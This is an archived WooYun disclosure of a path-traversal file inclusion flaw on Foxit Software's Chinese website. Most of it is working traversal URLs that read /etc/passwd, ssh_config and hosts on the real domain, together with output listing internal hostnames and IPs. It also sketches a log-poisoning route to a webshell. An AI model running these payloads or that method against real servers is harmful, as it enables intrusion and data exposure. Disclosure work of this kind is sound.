漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-041379
漏洞标题：福昕软件主站文件包含漏洞
相关厂商：福昕软件
漏洞作者： 浩天
提交时间：2013-10-29 17:02
修复时间：2013-12-13 17:03
公开时间：2013-12-13 17:03
漏洞类型：文件包含
危害等级：中
自评Rank：5
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-10-29： 细节已通知厂商并且等待厂商处理中
2013-10-30： 厂商已经确认，细节仅向厂商公开
2013-11-09： 细节向核心白帽子及相关领域专家公开
2013-11-19： 细节向普通白帽子公开
2013-11-29： 细节向实习白帽子公开
2013-12-13： 细节向公众公开
简要描述：
新厂商，凑个热闹
详细说明：
http://www.foxitsoftware.cn/company/press_details.php?&url=../../../../../../etc/passwd
利用思路：
1、向日志文件注入一句话木马，路径没蒙到
2、凌晨的时候包含日志文件，可拿shell
漏洞证明：
http://www.foxitsoftware.cn/company/press_details.php?&url=../../../../../../etc/ssh/ssh_config
http://www.foxitsoftware.cn/company/press_details.php?&url=../../../../../../etc/services
http://www.foxitsoftware.cn/company/press_details.php?&url=../../../../../../bin/su
http://www.foxitsoftware.cn/company/press_details.php?&url=../../../../../../etc/issue
Debian GNU/Linux 6.0 \n \l
http://www.foxitsoftware.cn/company/press_details.php?&url=../../../../../../etc/hosts
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 ::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
192.168.1.1 cn07-vm-fs01 192.168.1.2 cn08-vm-fs02 192.168.1.71 cn07-vm01 192.168.1.72 cn07-vm02 192.168.1.73 cn07-vm03 192.168.1.74 cn07-vm04
192.168.1.75 cn07-vm05 192.168.1.76 cn07-vm06 192.168.1.77 cn07-vm07 192.168.1.78 cn07-vm08 192.168.1.79 cn07-vm09 192.168.1.172 cn07-vm12
192.168.1.81 cn08-vm01 192.168.1.82 cn08-vm02 192.168.1.83 cn08-vm03 192.168.1.84 cn08-vm04 192.168.1.85 cn08-vm05 192.168.1.86 cn08-vm06
192.168.1.87 cn08-vm07 192.168.1.88 cn08-vm08 192.168.1.89 cn08-vm09 218.85.73.58 fz01 58.22.7.138 fz02
修复方案：
你懂得
版权声明：转载请注明来源 浩天@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2013-10-30 11:49
厂商回复：
已报技术员处理，感谢浩天。
最新状态：
暂无
漏洞评价：
评论
-
rank给不少，到我手里就4个，跟我预期差不多
( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)